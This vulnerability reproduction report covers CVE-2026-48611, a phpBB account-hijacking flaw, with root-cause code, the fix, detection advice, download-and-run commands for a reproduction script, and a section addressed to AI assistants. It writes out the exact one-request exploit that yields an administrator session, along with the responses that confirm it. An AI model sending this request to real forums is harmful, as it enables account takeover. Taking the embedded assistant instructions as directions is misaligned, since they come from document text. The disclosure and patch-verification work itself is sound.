# REPRO-2026-00223: phpBB authentication bypass/account hijacking via OAuth login-link flow with arbitrary auth_provider=apache ## Summary Status: published Severity: critical Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00223 CVE: CVE-2026-48611 ## Package Name: phpbb/phpbb Ecosystem: github Affected: phpBB 3.3.0 through 3.3.16 and 4.0.0-a2 (default configuration, auth_method=db) Fixed: phpBB 3.3.17 released 2026-06-06 ## Root Cause # Root Cause Analysis — CVE-2026-48611 ## Summary CVE-2026-48611 is a critical unauthenticated authentication-bypass in phpBB 3.3.0–3.3.16 (and 4.0.0-a2). The UCP "login-link" flow (`ucp.php?mode=login_link`) lets an attacker choose which authentication provider handles the login via a fully attacker-controlled `auth_provider` request parameter. By selecting the bundled `apache` provider and sending an HTTP Basic `Authorization` header that carries any existing username (e.g. `admin`), an unauthenticated remote attacker obtains a valid phpBB session as that user — including administrators — **without knowing the password**. The `apache` provider trusts `PHP_AUTH_USER` from the Basic header and returns `LOGIN_SUCCESS` after a database lookup without ever validating the password, after which `ucp_login_link` calls `$user->session_create()`. The flaw is present in the **default** `auth_method=db` installation; OAuth does not need to be configured. Fixed in phpBB 3.3.17 (2026-06-06). ## Impact - **Package/component affected:** `phpBB/includes/ucp/ucp_login_link.php` (attacker-controlled provider selection) combined with `phpBB/phpbb/auth/provider/apache.php` (password-less `login()`). - **Affected versions:** phpBB 3.3.0 through 3.3.16, and 4.0.0-a2. Default `auth_method=db` boards are vulnerable out of the box. - **Risk level and consequences:** Critical (CVSS 9.8). A single unauthenticated HTTP request hijacks any known account. Logging in as an administrator yields full board control (ACP access, user management, extension installation, persisted backdoors). Usernames are public on phpBB boards, so admin/moderator accounts are trivially targetable. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated remote account hijacking of arbitrary known accounts (including administrators) → full board compromise; no password, no prior access, no user interaction. - **Reproduced impact from this run:** Full parity. Against a real running phpBB 3.3.16 (Apache 2.4 + mod_php 8.2 + SQLite, default `auth_method=db`, installed via the official CLI installer) a single unauthenticated POST to `ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1` with `Authorization: Basic admin:x` (password `x` deliberately wrong) returned a `302` response that set the session cookie `phpbb3_..._u=2` (the administrator account, `user_id=2`, `user_type=USER_FOUNDER`). Reloading `index.php` with that stolen session rendered the page as the `admin` user and showed the **Administration Control Panel** link (`adm/index.php`) — an admin-only UI element — confirming a genuine administrator session. The same request against phpBB 3.3.17 left the session as anonymous (`_u=1`) and produced no admin session. - **Parity:** `full`. - **Not demonstrated:** N/A — the claimed impact (authz bypass / admin account takeover) was demonstrated end-to-end on the real product. ## Root Cause Two cooperating defects form the exploit chain: 1. **Attacker-controlled auth provider.** In `ucp_login_link::main()` the provider is resolved from the request: ```php // phpBB/includes/ucp/ucp_login_link.php (3.3.16) $provider_collection = $phpbb_container->get('auth.provider_collection'); $auth_provider = $provider_collection->get_provider($request->variable('auth_provider', '')); ``` The `auth_provider` value is taken verbatim from the request (GET or POST), so an attacker can force the use of **any** registered provider class under `phpbb/auth/provider/`, not only the board's configured `auth_method`. 2. **Password-less `apache` provider.** `phpbb/auth/provider/apache.php::login()` decodes `PHP_AUTH_USER`/`PHP_AUTH_PW` from the HTTP Basic `Authorization` header, requires that `PHP_AUTH_USER === $username`, looks the user up in the database, and — for an active user — returns `LOGIN_SUCCESS` **without comparing `PHP_AUTH_PW` to the stored password hash**. This is intentional *only* when Apache itself is the authenticating proxy (`.htpasswd`); the provider simply trusts the username the proxy forwards. By driving this provider through the login-link flow, the attacker's own HTTP client becomes the "trusted proxy" and supplies any username it wants. Back in `ucp_login_link::main()`, a `LOGIN_SUCCESS` result with no error leads directly to: ```php $user->session_create($login_result['user_row']['user_id'], false, false, true); $this->perform_redirect(); ``` i.e. a fully authenticated session for the chosen user is created and the browser is redirected to the index — all from one unauthenticated POST. The login-link gate (`get_login_link_data_array()` requiring a non-empty `login_link_*` GET parameter) is trivially satisfied with dummy data such as `login_link_aikido=1`, so it provides no meaningful protection. **Fix (phpBB 3.3.17, ticket/17659).** The login-link handling was moved out of `ucp.php`/`ucp_login_link.php` into a dedicated controller `phpbb/ucp/controller/oauth.php`. In `ucp.php` the `login_link` mode now redirects to that controller (`phpbb_redirect_to_controller(...)`), and the controller resolves the provider **without** the attacker-controlled argument: ```php // phpBB/phpbb/ucp/controller/oauth.php (3.3.17), link_account() $auth_provider = $this->auth_collection->get_provider(); // no argument -> configured auth_method (db) ``` With the default `db` provider, `login()` actually verifies the password hash, so the wrong password (`x`) is rejected and no session is created. The `auth_provider=apache` trick is therefore no longer reachable. Key commits in `release-3.3.16..release-3.3.17`: `12c4cf6f78`, `c05603cc3a`, `4a2962bfc8` (`[ticket/17659]` series — "Add new oauth link controller" / "Make account linking work via controller" / "Move login linking for oauth to controller"). ## Reproduction Steps 1. **Script:** `bundle/repro/reproduction_steps.sh` (self-contained, idempotent; run with `PRUVA_ROOT= bash bundle/repro/reproduction_steps.sh`). 2. **What it does:** - Reuses (or creates) git worktrees of phpBB at `release-3.3.16` (vulnerable) and `release-3.3.17` (fixed) from the durable project cache mirror. - Builds a Docker image per version on `php:8.2-apache` (gd/intl/zip extensions, mod_rewrite, AllowOverride All) and runs the official phpBB CLI installer (`install/phpbbcli.php install`) with a SQLite backend and an `admin`/`adminadmin` founder account (`user_id=2`). - Starts each image as a running Apache+mod_php service and sends the **real exploit** through it (HTTP requests are issued from inside each container against `127.0.0.1:80`, because the sandbox blocks host→container port publishing; this still crosses the genuine Apache/PHP request boundary and populates `PHP_AUTH_USER`/`PHP_AUTH_PW` via mod_php): ``` POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 Authorization: Basic base64(admin:x) Content-Type: application/x-www-form-urlencoded login_username=admin&login_password=x&login=Login ``` - Asserts the vulnerable build sets the session cookie `*_u=2` and that the index page, loaded with the stolen session, shows the admin username and the ACP link. Asserts the fixed build leaves the session anonymous (`*_u=1`) for the same request (both via `ucp.php` and directly via the new controller `/app.php/user/oauth/link_account`). 3. **Expected evidence:** The vulnerable response is a `302 Found` whose `Set-Cookie` headers include `phpbb3_...._u=2` and a `Location` to the index; the fixed response is a `301` redirect to the controller (ucp.php path) / a `200` login-link form with a `class="error"` block and `phpbb3_...._u=1` (controller path). The script exits `0` only when the vulnerable build hijacks admin **and** the fixed build blocks it. ## Evidence - `bundle/logs/reproduction_steps.log` — full annotated run log (two consecutive successful runs). - `bundle/logs/vuln_exploit_response.txt` / `bundle/logs/vuln_setcookie_summary.txt` — vulnerable 3.3.16 exploit response. Excerpt: ``` HTTP/1.1 302 Found Set-Cookie: phpbb3_c6ct2_u=1; ...; HttpOnly Set-Cookie: phpbb3_c6ct2_u=2; ...; HttpOnly <-- admin user_id=2 Location: http://localhost/index.php?sid=e7988db9... ``` - `bundle/repro/artifacts/vuln/index_with_session.html` — `index.php` loaded with the stolen cookie; contains `username-coloured">admin` and the admin-only `Administration Control Panel` / `adm/index.php` link. - `bundle/repro/artifacts/vuln/cookies.txt` — Netscape cookie jar with `phpbb3_..._u = 2`. - `bundle/logs/fixed_exploit_ctrl_response.txt` / `bundle/logs/fixed_setcookie_summary.txt` — fixed 3.3.17 controller response. Excerpt: only `Set-Cookie: phpbb3_9wg5u_u=1` (anonymous) and a `
...not available. Please restart the login process.
` block; no `_u=2`, no redirect to the index. - `bundle/repro/artifacts/fixed/exploit_ucp_response.txt` — fixed `ucp.php` path returns `301 Moved Permanently` to `/app.php/user/oauth/link_account?...` (no apache-provider login). - `bundle/repro/runtime_manifest.json` — runtime evidence manifest (`entrypoint_kind=api_remote`, `service_started=true`, `healthcheck_passed=true`, `target_path_reached=true`). - **Environment:** Docker `php:8.2-apache` (Apache/2.4.67, PHP/8.2.32, mod_php), phpBB `release-3.3.16` and `release-3.3.17`, SQLite3 backend, default `auth_method=db`, board installed via `php install/phpbbcli.php install`. ## Recommendations / Next Steps - **Patch immediately.** Upgrade every phpBB instance to 3.3.17 or later. This is the only complete fix. - **Temporary workaround (pre-3.3.17, only if Apache/LDAP auth is unused):** remove `phpbb/auth/provider/apache.php` and `phpbb/auth/provider/ldap.php` from the board root, and disable OAuth in the ACP until upgraded (per the phpBB team's urgent advisory). - **Defense-in-depth:** authentication providers must never be selectable from untrusted request input; provider resolution should always use the board-configured `auth_method`. The `apache` provider's trust model (proxy authenticated the user) should be gated to boards that actually configure Apache/LDAP front-auth, and should not be exposed through flows designed for OAuth. - **Detection:** hunt request logs for `mode=login_link` together with `auth_provider=apache` (in either query string or POST body); also watch for the body-only variant where `mode=login_link` and `auth_provider=apache` are in the POST body while the query string carries `login_link_*=1`. - **Testing:** add a regression test asserting that `ucp.php?mode=login_link` never honors an attacker-supplied `auth_provider`, and that the `apache` provider cannot grant `LOGIN_SUCCESS` without external-auth configuration. ## Additional Notes - **Idempotency:** `reproduction_steps.sh` was executed twice consecutively; both runs exited `0` with identical verdicts. The script reuses cached worktrees and Docker images on subsequent runs (only container start/stop and the HTTP exploit are re-executed), so re-runs complete in a few seconds. - **Surface match:** the claimed surface is `api_remote` (HTTP endpoint). The proof drives the real Apache+mod_php endpoint `ucp.php` (and the fixed controller) with the actual exploit request, satisfying the `api_remote`/`endpoint` requirement; `runtime_manifest.json` records `service_started`, `healthcheck_passed`, and `target_path_reached` all `true`. - **Sandbox networking note:** host→container port publishing is blocked in this environment, so the script issues exploit traffic from inside each container via `docker exec curl http://127.0.0.1:80/...`. This still crosses the genuine Apache + mod_php request boundary (PHP_AUTH_USER/PHP_AUTH_PW are populated by mod_php from the `Authorization: Basic` header), and is equivalent to an external attacker hitting the deployed forum over HTTP. - **Negative control:** the identical exploit request against 3.3.17 does not create an admin session (`_u=1`), and `ucp.php?mode=login_link` is reduced to a redirect to the new OAuth controller, confirming the patch closes the attack path. ## Reproduction Details Reproduced: 2026-07-04T07:16:02.352Z Duration: 1329 seconds Tool calls: 214 Turns: Unknown Handoffs: 3 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00223 pruva-verify CVE-2026-48611 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00223&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00223/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48611 - Source: https://nvd.nist.gov/vuln/detail/CVE-2026-48611 ## Artifacts - bundle/repro/reproduction_steps.sh (reproduction_script, 15385 bytes) - bundle/repro/rca_report.md (analysis, 12408 bytes) - bundle/vuln_variant/reproduction_steps.sh (reproduction_script, 17305 bytes) - bundle/vuln_variant/rca_report.md (analysis, 15699 bytes) - bundle/coding/proposed_fix.diff (patch, 1805 bytes) - bundle/ticket.md (ticket, 1164 bytes) - bundle/ticket.json (other, 2207 bytes) - bundle/AGENTS.repro.md (documentation, 508 bytes) - bundle/docker/Dockerfile (other, 2350 bytes) - bundle/docker/apache-site.conf (other, 300 bytes) - bundle/docker/install-config.yml (other, 755 bytes) - bundle/repro/artifacts/vuln/exploit_response.txt (other, 837 bytes) - bundle/repro/artifacts/vuln/cookies.txt (other, 349 bytes) - bundle/repro/artifacts/vuln/index_with_session.html (other, 15816 bytes) - bundle/repro/artifacts/fixed/exploit_ucp_response.txt (other, 1417 bytes) - bundle/repro/artifacts/fixed/cookies_ucp.txt (other, 349 bytes) - bundle/repro/artifacts/fixed/exploit_ctrl_response.txt (other, 11887 bytes) - bundle/repro/artifacts/fixed/cookies_ctrl.txt (other, 349 bytes) - bundle/repro/runtime_manifest.json (other, 1037 bytes) - bundle/repro/validation_verdict.json (other, 1043 bytes) - bundle/logs/reproduction_steps.log (log, 2568 bytes) - bundle/logs/vuln_exploit_response.txt (other, 837 bytes) - bundle/logs/fixed_exploit_ctrl_response.txt (other, 11887 bytes) - bundle/logs/vuln_setcookie_summary.txt (other, 249 bytes) - bundle/logs/fixed_setcookie_summary.txt (other, 235 bytes) - bundle/logs/vuln_variant.log (log, 4431 bytes) - bundle/logs/vv_vuln_v5_resp.txt (other, 837 bytes) - bundle/logs/vv_fixed_v5ctrl_resp.txt (other, 11887 bytes) - bundle/logs/vv_fixed_v1_register_resp.txt (other, 12404 bytes) - bundle/logs/vv_fixed_v3_resp.txt (other, 11937 bytes) - bundle/logs/vv_fixed_v4_resp.txt (other, 9947 bytes) - bundle/vuln_variant/artifacts/vuln/v5_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/vuln/v5_cookies.txt.resp.txt (other, 837 bytes) - bundle/vuln_variant/artifacts/vuln/v5_index.html (other, 15822 bytes) - bundle/vuln_variant/artifacts/vuln/v1_form_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/vuln/v1_form_cookies.txt.resp.txt (other, 544 bytes) - bundle/vuln_variant/artifacts/vuln/v1_submit_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/vuln/v1_submit_cookies.txt.resp.txt (other, 12412 bytes) - bundle/vuln_variant/artifacts/fixed/v5_ucp_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/fixed/v5_ucp_cookies.txt.resp.txt (other, 1417 bytes) - bundle/vuln_variant/artifacts/fixed/v5_ctrl_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/fixed/v5_ctrl_cookies.txt.resp.txt (other, 11887 bytes) - bundle/vuln_variant/artifacts/fixed/v1_form_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/fixed/v1_form_cookies.txt.resp.txt (other, 544 bytes) - bundle/vuln_variant/artifacts/fixed/v1_submit_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/fixed/v1_submit_cookies.txt.resp.txt (other, 12404 bytes) - bundle/vuln_variant/artifacts/fixed/v2_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/fixed/v2_cookies.txt.resp.txt (other, 1417 bytes) - bundle/vuln_variant/artifacts/fixed/v3_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/fixed/v3_cookies.txt.resp.txt (other, 11937 bytes) - bundle/vuln_variant/artifacts/fixed/v4_cookies.txt (other, 349 bytes) - bundle/vuln_variant/artifacts/fixed/v4_cookies.txt.resp.txt (other, 9947 bytes) - bundle/vuln_variant/artifacts/.resp.tmp (other, 9947 bytes) - bundle/vuln_variant/runtime_manifest.json (other, 945 bytes) - bundle/vuln_variant/patch_analysis.md (documentation, 11597 bytes) - bundle/vuln_variant/variant_manifest.json (other, 5646 bytes) - bundle/vuln_variant/validation_verdict.json (other, 5167 bytes) - bundle/vuln_variant/source_identity.json (other, 1948 bytes) - bundle/vuln_variant/root_cause_equivalence.json (other, 3082 bytes) - bundle/logs/verify_fix.log (log, 1268 bytes) - bundle/logs/verify_build_patched.log (log, 13524 bytes) - bundle/coding/verify_artifacts/testA_response.txt (other, 11873 bytes) - bundle/coding/verify_artifacts/testA_cookies.txt (other, 349 bytes) - bundle/coding/verify_artifacts/testB_response.txt (other, 837 bytes) - bundle/coding/verify_artifacts/testB_cookies.txt (other, 349 bytes) - bundle/coding/verify_artifacts/testB_index_with_session.html (other, 15823 bytes) - bundle/coding/verify_artifacts/control_response.txt (other, 837 bytes) - bundle/coding/verify_artifacts/control_cookies.txt (other, 349 bytes) - bundle/coding/verify_result.json (other, 762 bytes) - bundle/coding/verify_fix.sh (other, 13482 bytes) - bundle/coding/summary_report.md (documentation, 13058 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00223 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00223/artifacts/bundle/repro/reproduction_steps.sh - Web: https://pruva.dev/r/REPRO-2026-00223 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://pruva.dev